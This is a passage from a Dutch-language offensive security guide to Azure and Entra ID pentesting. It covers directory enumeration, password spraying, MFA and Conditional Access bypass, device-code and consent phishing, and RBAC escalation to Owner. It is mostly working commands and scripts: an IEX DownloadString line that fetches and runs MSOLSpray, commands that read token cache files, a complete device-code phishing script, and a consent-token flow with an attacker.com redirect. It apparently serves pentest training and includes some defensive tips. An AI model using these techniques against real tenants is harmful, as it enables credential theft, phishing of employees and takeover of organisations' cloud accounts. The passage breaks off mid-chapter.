│   │   │ │ "Prod-001"   │ │    │ │ "Dev-001"    │ │             │  │
│   │   │ │              │ │    │ │              │ │             │  │
│   │   │ │ ┌──────────┐ │ │    │ │ ┌──────────┐ │ │             │  │
│   │   │ │ │ Resource │ │ │    │ │ │ Resource │ │ │             │  │
│   │   │ │ │ Group    │ │ │    │ │ │ Group    │ │ │             │  │
│   │   │ │ └──────────┘ │ │    │ │ └──────────┘ │ │             │  │
│   │   │ └──────────────┘ │    │ └──────────────┘ │             │  │
│   │   └──────────────────┘    └──────────────────┘             │  │
│   └────────────────────────────────────────────────────────────┘  │
└──────────────────────────────────────────────────────────────────┘

De lagen, van boven naar beneden:

Laag Beschrijving Analogie
Tenant (Entra ID) De identiteitslaag. Eén tenant per organisatie. Bevat users, groups, app registrations, service principals De gemeente: wie mag hier wonen?
Management Groups Optionele groepering van subscriptions. Handig voor governance, gevaarlijk als je er rechten op hebt De stadsdelen
Subscriptions De facturatie- en beheersgrens. Resources leven in een subscription De wijken
Resource Groups Logische container voor resources. Geen beveiligingsgrens, maar wel een scope voor RBAC De straten
Resources De werkelijke diensten: VMs, databases, storage accounts, key vaults De gebouwen

Cruciaal voor pentesters: rechten erven naar beneden. Wie Owner is op een Management Group, is impliciet Owner op alle subscriptions, resource groups en resources daaronder. Dit is de basis van privilege escalation in Azure — als je ergens hoog in de boom rechten kunt krijgen, druppelt de macht vanzelf naar beneden.

# Huidige context bekijken
az account show

# Alle beschikbare subscriptions
az account list --output table

# Alle management groups (vereist leesrechten)
az account management-group list --output table

# Van subscription wisselen
az account set --subscription "Subscription-naam-of-ID"

IB Tip: Gebruik het Commands-paneel en zoek op enum_ voor Azure-enumeratiecommando’s. De az account list output is je eerste oriëntatiepunt — het vertelt je welke subscriptions je kunt bereiken en met welke identity.

4.1.3 RBAC versus Entra ID Roles

Hier wordt het verwarrend, en het is precies het soort verwarring waar aanvallers van profiteren. Azure heeft twee volledig gescheiden role-systemen:

1. Azure RBAC (Resource-level)

Azure Role-Based Access Control beheert wie wat mag doen met Azure resources — virtuele machines, databases, storage accounts. Het is het sleutelbeheer van de gebouwen.

Ingebouwde RBAC-rollen:

Rol Scope Gevaar
Owner Volledige controle + mag rechten toekennen Kritiek
Contributor Volledige controle, maar mag geen rechten toekennen Hoog
Reader Alleen lezen Laag (maar enumeratie!)
User Access Administrator Mag RBAC-rollen toekennen Kritiek
# Eigen RBAC-rollen bekijken
az role assignment list --assignee "$(az ad signed-in-user show --query id -o tsv)" \
    --all --output table

# Alle role assignments in een subscription
az role assignment list --all --output table

# Wie is Owner van de subscription?
az role assignment list --role "Owner" --all --output table

2. Entra ID Roles (Directory-level)

Entra ID-rollen beheersen wie wat mag doen met identiteiten — users aanmaken, groups beheren, app registrations configureren. Het is het bevolkingsregister.

Gevaarlijke Entra ID-rollen:

Rol Wat het doet Waarom het gevaarlijk is
Global Administrator Alles. Letterlijk alles. De kerncentrale-sleutel van je tenant
Privileged Role Administrator Mag rollen toewijzen Kan zichzelf of anderen Global Admin maken
Application Administrator Beheert alle app registrations Kan credentials van apps wijzigen
Cloud Application Administrator Beheert cloud apps Credential reset van enterprise apps
Hybrid Identity Administrator Beheert AD Connect en federation Kan on-prem/cloud sync manipuleren
Exchange Administrator Beheert Exchange Online Kan mailboxen lezen, regels instellen
Intune Administrator Beheert endpoint management Code execution op alle beheerde devices
# Eigen Entra ID-rollen opvragen
az rest --method GET \
    --uri "https://graph.microsoft.com/v1.0/me/memberOf" \
    --query "value[?@odata.type=='#microsoft.graph.directoryRole'].{Role:displayName}" \
    --output table

# Alle Global Admins vinden
az rest --method GET \
    --uri "https://graph.microsoft.com/v1.0/directoryRoles" \
    --query "value[?displayName=='Global Administrator'].id" -o tsv | \
    xargs -I{} az rest --method GET \
    --uri "https://graph.microsoft.com/v1.0/directoryRoles/{}/members" \
    --query "value[].{Name:displayName,UPN:userPrincipalName}" -o table

De verwarring tussen deze twee systemen is een vruchtbare voedingsbodem voor misconfiguraties. Een beheerder die denkt “ik heb hem Reader gemaakt, dus hij kan niets” vergeet dat diezelfde gebruiker via een Entra ID-rol Application Administrator kan zijn — en daarmee credentials van service principals kan resetten die wél Contributor zijn op productie-subscriptions.

Het is alsof het bevolkingsregister en de sleutelbeheerder van de stad door twee verschillende afdelingen worden gerund die niet met elkaar praten. Eén afdeling zegt: “Deze persoon mag het park in.” De andere zegt: “Deze persoon mag paspoorten uitgeven.” En niemand vraagt zich af of iemand die paspoorten kan uitgeven misschien ook het park in kan.

4.1.4 De Global Admin Nuclear Option

Er is één bijzonderheid die elke pentester moet kennen: een Global Administrator kan zichzelf User Access Administrator maken op de root Management Group. Daarmee heeft een directory-level rol plotseling volledige controle over alle Azure resources in alle subscriptions.

# Global Admin → User Access Admin op root scope
az rest --method POST \
    --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"

Dit is by design. Microsoft documenteert het als “noodtoegang.” Voor pentesters is het de holy grail: van identiteitsbeheer naar infrastructuurcontrole in één API-call.

4.2 Entra ID Fundamenten

4.2.1 De Burgers van de Stad

Entra ID — voorheen Azure Active Directory, voorheen Azure AD, want Microsoft hernoemt dingen zoals andere bedrijven koffie drinken — is het identiteitsplatform van Microsoft’s cloud. Het is niet hetzelfde als on-premises Active Directory, al probeert Microsoft heel hard om je dat te laten denken.

On-premises AD is een LDAP-directory met Kerberos. Entra ID is een REST API met OAuth 2.0 en OpenID Connect. De concepten lijken op elkaar (users, groups, rollen), maar de implementatie is fundamenteel anders. Dit is belangrijk, want aanvalstechnieken die werken in on-premises AD werken niet in Entra ID, en vice versa.

De identiteitsobjecten in Entra ID:

4.2.2 Users

Gebruikers in Entra ID komen in twee smaken:

Type Beschrijving Risico
Member Volwaardige tenant-gebruiker Standaard brede leesrechten op directory
Guest Externe gebruiker (B2B) Beperkte rechten, maar vaak meer dan verwacht

Standaard kan elke Member-user: - Alle andere users en hun properties lezen - Alle groepen en hun leden lezen - Alle app registrations lezen - Alle service principals lezen - Devices enumereren

Dit is een enorm verschil met on-premises AD, waar je PowerView of BloodHound nodig hebt om dezelfde informatie te verzamelen. In Entra ID is de directory standaard leesbaar voor elke geauthenticeerde gebruiker. Het is alsof het telefoonboek niet alleen namen en nummers bevat, maar ook adressen, werkgevers, en welke deuren ze mogen openen.

# Alle users ophalen
az ad user list --output table

# Specifieke user details
az ad user show --id "user@domain.com"

# Guest users vinden (vaak minder gemonitord)
az ad user list --filter "userType eq 'Guest'" --output table

# Users met specifieke job title (informatieverzameling)
az ad user list --query "[?jobTitle=='IT Administrator'].{Name:displayName,UPN:userPrincipalName}" -o table

4.2.3 Groups

Groepen in Entra ID:

Type Beschrijving Pentest-relevantie
Security Group Rechten toekennen RBAC-assignments, Conditional Access
Microsoft 365 Group Collaboration (Teams, SharePoint) Bevat vaak gevoelige data
Dynamic Group Lidmaatschap op basis van regels Manipuleerbaar als je user-properties kunt wijzigen
Role-assignable Group Kan Entra ID-rollen toegewezen krijgen Jackpot als je lid wordt

Dynamic Groups zijn bijzonder interessant. Als een groep automatisch iedereen met department = IT toevoegt, en jij kunt je eigen department-property wijzigen… dan voeg je jezelf toe aan die groep. Zonder dat iemand het goedkeurt.

# Alle groepen
az ad group list --output table

# Leden van een specifieke groep
az ad group member list --group "Groepsnaam" --output table

# Groepen waar je lid van bent
az ad group list --query "[?contains(mail,'') || contains(displayName,'')]" -o table

# Dynamic groups vinden
az rest --method GET \
    --uri "https://graph.microsoft.com/v1.0/groups?\$filter=groupTypes/any(g:g eq 'DynamicMembership')" \
    --query "value[].{Name:displayName,Rule:membershipRule}" -o table

4.2.4 App Registrations en Service Principals

Hier wordt het spannend — en verwarrend. Laten we het ontwarren.

Een App Registration is een blauwdruk. Het definieert een applicatie: welke permissions heeft het nodig, welke redirect URIs gebruikt het, welke credentials accepteert het. Het is het architectuurtekening van een gebouw.

Een Service Principal is een instantie van die blauwdruk in een specifieke tenant. Het is het daadwerkelijke gebouw. Elke App Registration in je tenant heeft automatisch een Service Principal. Maar er zijn ook Service Principals voor externe apps (Microsoft’s eigen apps, third-party SaaS) die geen App Registration in jouw tenant hebben.

Een Enterprise Application is Microsoft’s marketingnaam voor een Service Principal. Zelfde ding, andere verpakking.

App Registration (global definitie)
        │
        ├── Service Principal in Tenant A
        │   └── credentials, permissions, role assignments
        │
        └── Service Principal in Tenant B
            └── credentials, permissions, role assignments

Waarom dit belangrijk is voor pentesters:

  1. App Registrations hebben credentials — client secrets en certificates. Als je die vindt, authenticeer je als de applicatie.
  2. Service Principals kunnen RBAC-rollen hebben — een app met Contributor op een subscription kan alles doen wat een gebruiker met die rol kan.
  3. API Permissions — apps kunnen vergaande rechten hebben op Microsoft Graph, Exchange, SharePoint. Een app met Mail.Read leest ieders mail.
# Alle app registrations
az ad app list --output table

# App registrations met credentials (client secrets)
az ad app list --query "[?passwordCredentials[0]!=null].{Name:displayName,AppId:appId}" -o table

# Service principals
az ad sp list --all --output table

# Service principals met hoge RBAC-rollen
az role assignment list --all --query "[?principalType=='ServicePrincipal']" -o table

IB Tip: App registrations met verlopen credentials zijn goudmijnen. Als een credential verlopen is maar de app registration nog bestaat, kan soms een nieuwe credential worden toegevoegd door iemand met de juiste Entra ID-rol. Zoek naar apps waar passwordCredentials of keyCredentials leeg of verlopen zijn.

4.2.5 Managed Identities

Managed Identities zijn Azure’s antwoord op het probleem van credentials in code. In plaats van een wachtwoord of API-key in een configuratiebestand te zetten (wat elke ontwikkelaar op aarde toch doet, ongeacht hoeveel security-trainingen ze hebben gevolgd), wijst Azure automatisch een identiteit toe aan een resource.

Type Scope Levenscyclus
System-assigned Gebonden aan één resource Wordt verwijderd als de resource wordt verwijderd
User-assigned Kan aan meerdere resources worden gekoppeld Onafhankelijke levenscyclus

Het probleem vanuit security-perspectief: Managed Identities authenticeren via de Instance Metadata Service (IMDS) op 169.254.169.254. Elke code die draait op de Azure resource — inclusief de code van een aanvaller die command execution heeft verkregen — kan een token opvragen. Geen credentials nodig. Geen MFA. Gewoon een HTTP-request.

We komen hier uitgebreid op terug in sectie 4.6.

4.2.6 Primary Refresh Tokens (PRT)

Een Primary Refresh Token is het Kerberos TGT van Entra ID. Het is een langlevend token dat wordt uitgegeven wanneer een gebruiker zich authenticeert op een Azure AD-joined of hybrid-joined device. Met een PRT kun je SSO krijgen naar alle cloud-applicaties zonder opnieuw in te loggen.

En net als een TGT is het een jackpot als je het kunt stelen.

Een PRT bevat: - De identity van de gebruiker - De device identity - Een session key - MFA-claims (als MFA is uitgevoerd bij het verkrijgen)

Dat laatste punt is cruciaal: als het PRT MFA-claims bevat, omzeil je effectief MFA voor alle toekomstige authenticaties. Het is alsof je bij de voordeur je paspoort en vingerafdruk toont, en daarna de hele dag vrij kunt rondlopen omdat het systeem onthoudt dat je je eerder hebt geïdentificeerd.

PRT-extractie behandelen we in sectie 4.11 over hybride identiteitspaden.

4.3 Entra ID Enumeration

4.3.1 De Eerste Verkenning

Enumeratie in Entra ID is tegelijkertijd makkelijker en moeilijker dan in on-premises AD. Makkelijker, omdat de Microsoft Graph API je een gestructureerde, gedocumenteerde interface geeft. Moeilijker, omdat er Conditional Access, audit logs en anomaliedetectie in de weg kunnen staan.

Maar laten we eerlijk zijn: in de meeste omgevingen die we testen, staat anomaliedetectie uit, worden audit logs niet bekeken, en is Conditional Access geconfigureerd met de precisie van iemand die een sudoku invult terwijl hij Netflix kijkt.

4.3.2 AzureAD PowerShell Module

De AzureAD-module is officieel deprecated (Microsoft wil dat je Microsoft Graph PowerShell gebruikt), maar het werkt nog steeds en is in veel omgevingen beschikbaar:

# Verbinden (interactief)
Install-Module AzureAD
Connect-AzureAD

# Alle users
Get-AzureADUser -All $true | Select-Object DisplayName,UserPrincipalName,UserType

# Alle groepen
Get-AzureADGroup -All $true | Select-Object DisplayName,ObjectId,SecurityEnabled

# Groepsleden
Get-AzureADGroupMember -ObjectId "GROEP_ID" -All $true

# Directory-rollen
Get-AzureADDirectoryRole | ForEach-Object {
    $role = $_
    Get-AzureADDirectoryRoleMember -ObjectId $role.ObjectId | ForEach-Object {
        [PSCustomObject]@{
            Role = $role.DisplayName
            Member = $_.DisplayName
            UPN = $_.UserPrincipalName
        }
    }
} | Format-Table -AutoSize

# App registrations met credentials
Get-AzureADApplication -All $true | Where-Object {
    $_.PasswordCredentials.Count -gt 0 -or $_.KeyCredentials.Count -gt 0
} | Select-Object DisplayName,AppId

# Service principals met app role assignments
Get-AzureADServicePrincipal -All $true | ForEach-Object {
    $sp = $_
    Get-AzureADServiceAppRoleAssignment -ObjectId $sp.ObjectId -ErrorAction SilentlyContinue | ForEach-Object {
        [PSCustomObject]@{
            SP = $sp.DisplayName
            Resource = $_.ResourceDisplayName
            Permission = $_.Id
        }
    }
}

4.3.3 Microsoft Graph API

Microsoft Graph is de toekomst. Alle Entra ID-data is bereikbaar via REST-endpoints. Je kunt het aanroepen met az rest, met curl en een bearer token, of met de Microsoft Graph PowerShell SDK.

# Token verkrijgen via az cli
TOKEN=$(az account get-access-token --resource "https://graph.microsoft.com" --query accessToken -o tsv)

# Alle users (let op: standaard paginated, max 100 per pagina)
curl -s -H "Authorization: Bearer $TOKEN" \
    "https://graph.microsoft.com/v1.0/users?\$select=displayName,userPrincipalName,userType,jobTitle,department" | \
    python3 -m json.tool

# Alle groepen met membership rules
curl -s -H "Authorization: Bearer $TOKEN" \
    "https://graph.microsoft.com/v1.0/groups?\$filter=groupTypes/any(g:g eq 'DynamicMembership')&\$select=displayName,membershipRule" | \
    python3 -m json.tool

# App registrations met permissions
curl -s -H "Authorization: Bearer $TOKEN" \
    "https://graph.microsoft.com/v1.0/applications?\$select=displayName,appId,requiredResourceAccess,passwordCredentials" | \
    python3 -m json.tool

# Directory role assignments
curl -s -H "Authorization: Bearer $TOKEN" \
    "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments?\$expand=principal" | \
    python3 -m json.tool

# Conditional Access policies (vereist hogere rechten)
curl -s -H "Authorization: Bearer $TOKEN" \
    "https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies" | \
    python3 -m json.tool

Let op: Microsoft Graph-aanroepen worden gelogd. In een volwassen omgeving kan een plotselinge golf van Graph API-calls een alert triggeren. Overweeg om je enumeratie te spreiden over tijd, of gebruik de $select-parameter om alleen de velden op te vragen die je nodig hebt.

4.3.4 ROADtools (roadrecon)

ROADtools, gebouwd door Dirk-jan Mollema, is BloodHound voor Entra ID. Het verzamelt de volledige directory in een lokale database en biedt een GUI voor analyse.

# Installatie
pip install roadrecon roadlib

# Authenticatie (met az cli token)
roadrecon auth --access-token "$(az account get-access-token \
    --resource "https://graph.microsoft.com" --query accessToken -o tsv)"

# Of met username/password
roadrecon auth -u user@domain.com -p 'Password123!'

# Volledige directory dumpen
roadrecon gather

# GUI starten
roadrecon gui
# Open browser op http://127.0.0.1:5000

ROADrecon verzamelt: - Alle users en hun properties - Alle groepen en lidmaatschappen - Alle app registrations en service principals - Alle role assignments (Entra ID en app roles) - OAuth2 permission grants - Conditional Access policies (als je leesrechten hebt) - Devices en hun registraties

De GUI toont relaties visueel — wie heeft welke rol, welke app heeft welke permissions, welke users zijn lid van welke groepen. Het is BloodHound voor de cloud, en het is net zo onthullend.

# ROADrecon database analyseren via CLI
roadrecon plugin policies    # Conditional Access analyse
roadrecon plugin bloodhound  # Export naar BloodHound-formaat

IB Tip: De ROADrecon database (roadrecon.db) is een SQLite-bestand. Je kunt het direct queryen met SQL als je specifieke vragen hebt die de GUI niet beantwoordt. Bijvoorbeeld: welke apps hebben Mail.ReadWrite permissions?

4.3.5 Az CLI Enumeration

De az CLI is je dagelijkse chauffeur. Het is geinstalleerd op elke Azure-beheersmachine en beschikbaar in Azure Cloud Shell.

# Wie ben ik?
az ad signed-in-user show

# Mijn groepslidmaatschappen
az ad signed-in-user show --query "id" -o tsv | \
    xargs -I{} az rest --method GET \
    --uri "https://graph.microsoft.com/v1.0/users/{}/memberOf" \
    --query "value[].{Type:@odata.type,Name:displayName}" -o table

# Alle users met hun rollen
az ad user list --query "[].{UPN:userPrincipalName,Name:displayName,Type:userType}" -o table

# Devices (Azure AD joined/registered)
az rest --method GET \
    --uri "https://graph.microsoft.com/v1.0/devices" \
    --query "value[].{Name:displayName,OS:operatingSystem,Trust:trustType}" -o table

# Alle resources in bereikbare subscriptions
az resource list --output table

# Virtual machines (doelen voor credential theft)
az vm list --output table

# Key Vaults (doelen voor secret extraction)
az keyvault list --output table

# Storage accounts (doelen voor data exfiltratie)
az storage account list --output table

# Automation accounts (doelen voor runbook abuse)
az automation account list --output table 2>/dev/null

4.3.6 Unauthenticated Enumeration

Zelfs zonder credentials kun je informatie verzamelen over een Azure-tenant:

# Controleer of een domein Azure AD gebruikt
curl -s "https://login.microsoftonline.com/TARGET_DOMAIN/.well-known/openid-configuration" | \
    python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('tenant_discovery_endpoint','Niet gevonden'))"

# Tenant ID achterhalen
curl -s "https://login.microsoftonline.com/TARGET_DOMAIN/.well-known/openid-configuration" | \
    python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('token_endpoint','').split('/')[3])"

# Gebruikersenumeratie via login-endpoint (autothrottle na ~10 requests)
# Antwoord verschilt tussen "user not found" en "wrong password"
curl -s -X POST \
    "https://login.microsoftonline.com/TARGET_DOMAIN/oauth2/token" \
    -d "grant_type=password&username=admin@TARGET_DOMAIN&password=dummy&client_id=1b730954-1685-4b74-9bfd-dac224a7b894&resource=https://graph.microsoft.com" 2>&1 | \
    python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('error_description','')[:80])"

De foutmeldingen zijn verrassend informatief. AADSTS50126 betekent “gebruiker bestaat, wachtwoord fout.” AADSTS50034 betekent “gebruiker bestaat niet.” Microsoft noemt dit geen vulnerability. Pentesters zijn het daar niet mee eens.

4.4 Entra ID Aanvallen

4.4.1 Het Spectrum van Mogelijkheden

Nu we weten hoe de stad eruitziet, is het tijd om in te breken. Entra ID-aanvallen vallen ruwweg in twee categorieen: aanvallen op de identiteit (inloggen als iemand anders) en aanvallen op de configuratie (misbruik maken van wat er al geconfigureerd is). In deze sectie behandelen we de eerste categorie. De configuratie-aanvallen komen in de volgende secties.

4.4.2 Password Spraying met MSOLSpray

Password spraying is het omgekeerde van brute-forcing: in plaats van veel wachtwoorden tegen één account te proberen, probeer je één wachtwoord tegen veel accounts. Dit vermijdt account lockouts en vliegt onder de radar van de meeste detectiesystemen.

MSOLSpray is specifiek ontworpen voor Microsoft Online-omgevingen:

# MSOLSpray downloaden
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/dafthack/MSOLSpray/master/MSOLSpray.ps1')

# Gebruikerslijst voorbereiden
# Formaat: één UPN per regel
# admin@targetdomain.com
# john.doe@targetdomain.com
# service.desk@targetdomain.com

# Spray uitvoeren
Invoke-MSOLSpray -UserList .\users.txt -Password "Winter2026!" -Verbose

MSOLSpray is slim: het interpreteert Azure AD-foutcodes en vertelt je niet alleen of een login succesvol was, maar ook: - Of MFA vereist is (valide credentials, maar MFA blokkeert) - Of het account gelocked is - Of het wachtwoord verlopen is (vaak alsnog bruikbaar met token-aanvragen) - Of Conditional Access de login blokkeert (valide credentials, beleid blokkeert)

[*] Results:
[*] admin@target.com - VALID CREDENTIAL (MFA Required)
[*] service.desk@target.com - VALID CREDENTIAL
[*] john.doe@target.com - INVALID PASSWORD
[*] old.account@target.com - ACCOUNT LOCKED

Die “MFA Required”-meldingen zijn goud. Het betekent dat het wachtwoord correct is. Nu hoef je alleen nog MFA te bypassen — en dat is makkelijker dan je denkt.

# Spray via az cli (minder opsec, meer functionaliteit)
while IFS= read -r user; do
    az login -u "$user" -p 'Winter2026!' --allow-no-subscriptions 2>&1 | \
    grep -q "AADSTS50076" && echo "[MFA] $user" || \
    grep -q "interaction_required" && echo "[SUCCESS+MFA] $user" || \
    echo "[FAIL] $user"
done < users.txt

Let op: Password spraying genereert sign-in logs. In een omgeving met Azure AD Identity Protection kan een spray vanuit één IP-adres een “Unfamiliar sign-in properties” of “Password spray” risico-detectie triggeren. Gebruik een gedistribueerde aanpak of houd je aan maximaal 1 poging per gebruiker per uur.

4.4.3 MFA Bypass Technieken

MFA is de standaard verdediging tegen credential-diefstal. Het probleem is dat MFA in de praktijk zwakker is dan de marketing doet geloven.

Techniek 1: Stolen Session Token

Na succesvolle authenticatie (inclusief MFA) wordt een session token uitgegeven. Als je dat token steelt, hoef je MFA niet opnieuw te doen:

# Azure CLI tokens staan lokaal opgeslagen
# Linux/macOS:
cat ~/.azure/accessTokens.json 2>/dev/null
cat ~/.azure/msal_token_cache.json 2>/dev/null

# Windows:
type %USERPROFILE%\.azure\accessTokens.json
type %USERPROFILE%\.azure\msal_token_cache.json

# Token direct gebruiken
az account get-access-token --resource "https://graph.microsoft.com" -o tsv --query accessToken

Techniek 2: Legacy Protocols

Sommige legacy-protocollen ondersteunen geen MFA. Als deze niet zijn geblokkeerd via Conditional Access:

# Test IMAP-toegang met stolen credentials (MFA omzeild)
curl -v "imaps://outlook.office365.com" --user "user@domain.com:Password123!"

Techniek 3: Device Code Phishing

Dit is de meest elegante MFA-bypass en verdient zijn eigen subsectie — zie 4.4.5.

4.4.4 Conditional Access Bypass

Conditional Access is Microsoft’s policy engine: “als dit, dan dat.” Bijvoorbeeld: “als de gebruiker inlogt vanaf een niet-beheerd device, dan vereist MFA.” Of: “als de gebruiker inlogt vanuit een riskant land, blokkeer dan.”

Het probleem is dat Conditional Access beleid wordt toegepast op basis van signalen — en die signalen zijn manipuleerbaar.

Veelvoorkomende bypass-methoden:

Named Locations omzeilen:

# Als het beleid "blokkeer landen buiten NL" is,
# gebruik een Nederlands VPN-exitpunt

# Als het beleid trusted IP-ranges specificeert,
# check of de ranges niet te breed zijn
az rest --method GET \
    --uri "https://graph.microsoft.com/v1.0/identity/conditionalAccess/namedLocations" \
    --query "value[].{Name:displayName,Type:@odata.type}" -o table

Client App filters:

# Conditional Access die alleen "browser" en "mobile apps" afdwingt
# maar "other clients" niet blokkeert
# Test met een onbekende client_id

# Microsoft Office client_id (vaak exempted van streng beleid)
curl -s -X POST "https://login.microsoftonline.com/TENANT/oauth2/v2.0/token" \
    -d "client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&scope=https://graph.microsoft.com/.default&grant_type=password&username=USER&password=PASS"

Device Compliance gaps:

Conditional Access kan vereisen dat een device “compliant” is. Maar als het beleid alleen geldt voor specifieke apps of platforms, kun je authenticeren via een niet-gedekt pad.

IB Tip: Conditional Access policies analyseren is een van de eerste dingen die je doet na initiële toegang. Gebruik roadrecon plugin policies of de Graph API om alle policies op te halen. Zoek naar gaps: welke apps zijn niet gedekt? Welke platformen zijn uitgezonderd? Welke users zijn excluded?

4.4.5 Device Code Phishing

Device code phishing is een van de meest effectieve technieken tegen MFA. Het misbruikt de OAuth 2.0 device authorization flow, ontworpen voor apparaten zonder browser (smart TVs, IoT devices, CLI tools).

Het werkt als volgt:

  1. De aanvaller start een device code flow en krijgt een code + URL
  2. De aanvaller stuurt de code naar het slachtoffer: “Ga naar microsoft.com/devicelogin en voer deze code in”
  3. Het slachtoffer logt in — inclusief MFA — en autoriseert de “device”
  4. De aanvaller ontvangt tokens (access token + refresh token) namens het slachtoffer
#!/usr/bin/env python3
"""
Device code phishing - stap 1: code genereren
MITRE ATT&CK: T1528 (Steal Application Access Token)
"""
import requests
import json
import time

TENANT = "TARGET_TENANT_ID"
CLIENT_ID = "d3590ed6-52b3-4102-aeff-aad2292ab01c"  # Microsoft Office
RESOURCE = "https://graph.microsoft.com"

# Stap 1: Device code aanvragen
resp = requests.post(
    f"https://login.microsoftonline.com/{TENANT}/oauth2/v2.0/devicecode",
    data={
        "client_id": CLIENT_ID,
        "scope": f"{RESOURCE}/.default offline_access"
    }
)
data = resp.json()
print(f"\n[*] Stuur naar slachtoffer:")
print(f"    URL:  {data['verification_uri']}")
print(f"    Code: {data['user_code']}")
print(f"\n[*] Wacht op authenticatie...")

# Stap 2: Poll voor tokens
device_code = data["device_code"]
interval = data.get("interval", 5)

while True:
    time.sleep(interval)
    token_resp = requests.post(
        f"https://login.microsoftonline.com/{TENANT}/oauth2/v2.0/token",
        data={
            "grant_type": "urn:ietf:params:oauth:grant-type:device_code",
            "client_id": CLIENT_ID,
            "device_code": device_code
        }
    )
    token_data = token_resp.json()

    if "access_token" in token_data:
        print(f"\n[+] TOKEN ONTVANGEN!")
        print(f"    Access Token: {token_data['access_token'][:50]}...")
        if "refresh_token" in token_data:
            print(f"    Refresh Token: {token_data['refresh_token'][:50]}...")
        break
    elif token_data.get("error") == "authorization_pending":
        continue
    elif token_data.get("error") == "expired_token":
        print("[-] Code verlopen")
        break
    else:
        print(f"[-] Fout: {token_data.get('error_description','onbekend')}")
        break

De kracht van device code phishing: - Het slachtoffer voert zelf MFA uit — je hoeft het niet te omzeilen - De tokens zijn geldig voor de duur van de refresh token (vaak 90 dagen) - Het ziet er legitiem uit — microsoft.com/devicelogin is een echt Microsoft-domein - Conditional Access wordt uitgevoerd op het device van het slachtoffer, niet van de aanvaller

De verdediging? Blokkeer de device code flow via Conditional Access. Verrassend weinig organisaties doen dit.

De consent grant attack — ook bekend als illicit consent of OAuth phishing — is een van de elegantste aanvallen in de cloudwereld. Je hoeft geen wachtwoord te stelen. Je hoeft geen MFA te omzeilen. Je vraagt het slachtoffer gewoon om toestemming.

Een aanvaller registreert een app in zijn eigen tenant met brede permissions (Mail.Read, Files.ReadWrite, User.Read.All) en stuurt een consent-link naar het slachtoffer. Het slachtoffer klikt, ziet een Microsoft-login met een permissions-dialog die zegt “Deze app wil je mail lezen en je bestanden bekijken,” denkt “dat zal wel nodig zijn voor die tool die mijn collega aanraadde,” en klikt op “Accept.”

En daarmee heeft de aanvaller permanente toegang tot de mail en bestanden van het slachtoffer. Zonder wachtwoord. Zonder MFA. Via een officieel Microsoft-mechanisme.

# De aanvaller's perspectief: na consent, tokens gebruiken

# Access token ophalen met de verkregen authorization code
curl -s -X POST "https://login.microsoftonline.com/VICTIM_TENANT/oauth2/v2.0/token" \
    -d "client_id=ATTACKER_APP_ID" \
    -d "client_secret=ATTACKER_APP_SECRET" \
    -d "code=AUTHORIZATION_CODE" \
    -d "redirect_uri=https://attacker.com/callback" \
    -d "grant_type=authorization_code" \
    -d "scope=https://graph.microsoft.com/.default"

# Met het token: mail lezen
curl -s -H "Authorization: Bearer ACCESS_TOKEN" \
    "https://graph.microsoft.com/v1.0/me/messages?\$select=subject,from,bodyPreview&\$top=10" | \
    python3 -m json.tool

# Bestanden ophalen
curl -s -H "Authorization: Bearer ACCESS_TOKEN" \
    "https://graph.microsoft.com/v1.0/me/drive/root/children" | \
    python3 -m json.tool

De verdediging: stel in Entra ID in dat users geen consent mogen geven aan apps, of alleen aan apps van geverifieerde uitgevers. Configureer een admin consent workflow zodat een beheerder elke consent-aanvraag moet goedkeuren.

# Controleer de huidige consent-instellingen
az rest --method GET \
    --uri "https://graph.microsoft.com/v1.0/policies/authorizationPolicy" \
    --query "{AllowUserConsent:defaultUserRolePermissions.permissionGrantPoliciesAssigned}" -o json

Als het antwoord ManagePermissionGrantsForSelf.microsoft-user-default-legacy bevat, mogen users consent geven. Dat is bijna altijd een bevinding in je rapport.

4.5 Azure RBAC Exploitation

4.5.1 Het Sleutelsysteem

Azure RBAC is het autorisatiesysteem voor Azure resources. Het werkt met drie componenten:

  1. Security Principal — wie krijgt de rechten (user, group, service principal, managed identity)
  2. Role Definition — wat mag worden gedaan (een set van permissions)
  3. Scope — waar de rechten gelden (management group, subscription, resource group, resource)
# Alle role definitions bekijken
az role definition list --output table

# Custom roles (vaak interessanter dan built-in)
az role definition list --custom-role-only true --output table

# Details van een specifieke rol
az role definition list --name "Custom Developer Role" --output json

4.5.2 Custom Role Abuse

Custom roles zijn een veelvoorkomende bron van privilege escalation. Organisaties maken custom roles om het “principle of least privilege” te volgen, maar definiëren de permissions te breed.

Gevaarlijke permissions in custom roles:

Permission Risico
Microsoft.Authorization/roleAssignments/write Kan zichzelf of anderen rollen toewijzen
*/write Wildcard write op alle resource types
Microsoft.Compute/virtualMachines/runCommand/action Command execution op VMs
Microsoft.KeyVault/vaults/secrets/getSecret/action Secrets lezen uit Key Vaults
Microsoft.Storage/storageAccounts/listkeys/action Storage account keys ophalen
Microsoft.Web/sites/publishxml/action Publish credentials van App Services
Microsoft.Compute/virtualMachines/extensions/write Extensions installeren op VMs
# Zoek naar custom roles met gevaarlijke permissions
az role definition list --custom-role-only true --query "[].{Name:roleName,Actions:permissions[0].actions}" -o json | \
    python3 -c "
import sys,json
roles = json.load(sys.stdin)
dangerous = ['roleAssignments/write', '*/write', 'runCommand', 'listkeys', 'getSecret']
for r in roles:
    for action in r.get('Actions', []):
        if any(d in action for d in dangerous):
            print(f\"[!] {r['Name']}: {action}\")
"

4.5.3 Subscription-Level Privilege Escalation

De meest directe escalatie: als je Microsoft.Authorization/roleAssignments/write hebt op subscription-scope, kun je jezelf Owner maken.

# Stap 1: Controleer of je roleAssignments mag schrijven
az role assignment list --assignee "$(az ad signed-in-user show --query id -o tsv)" \
    --all --query "[?roleDefinitionName=='User Access Administrator' || roleDefinitionName=='Owner']" -o table

# Stap 2: Maak jezelf Owner (als je User Access Administrator bent)
az role assignment create \
    --assignee "$(az ad signed-in-user show --query id -o tsv)" \
    --role "Owner" \
    --scope "/subscriptions/SUBSCRIPTION_ID"

# Stap 3: Verifieer
az role assignment list --assignee "$(az ad signed-in-user show --query id -o tsv)" \
    --role "Owner" --all -o table

4.5.4 Resource Group Escalatie

